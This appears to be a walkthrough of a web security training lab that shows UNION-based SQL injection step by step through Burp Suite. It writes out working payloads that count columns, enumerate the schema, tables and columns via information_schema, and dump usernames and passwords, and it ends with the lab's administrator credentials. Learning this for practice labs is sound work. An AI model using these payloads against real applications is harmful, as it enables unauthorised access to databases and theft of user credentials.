SQL injection attack, listing the database contents on non-Oracle databases
Let's filter for Food & Drink
.
Since we are proxying the traffic through Burp Suite, we can go to the Proxy > HTTP History
tab to view this request.
Let's forward the request to the Repeater
for further modification.
Once in the Repeater
, let's set the category
parameter to the following:
' UNION SELECT 'test'--
Since the application returns an error, we know that the number of columns in the current query is more than 1.
Let's set the category
parameter to the following:
' UNION SELECT 'test','test'--
Now that we know the current query has two columns, we can start enumerating the databases.
' UNION SELECT schema_name, NULL FROM information_schema.schemata--
Now let's enumerate the tables present in the public
database by setting the category
parameter to:
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='public'--
Next, we need to find the columns present in the users_bfbtjz
table.
We can do that by setting the category
parameter to the following:
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users_bfbtjz'--
We can now retrieve the usernames and password from the username_ylkdae
and password_sdbuqk
columns respectively.
For that we have to set the category
parameter to the following:
' UNION SELECT username_ylkdae, password_sdbuqk FROM users_bfbtjz--
We can now login as the administrator using the following credentials:
Username | Password |
---|---|
administrator | x3lp8yt4oyymkeu9bppm |
We have solved the lab.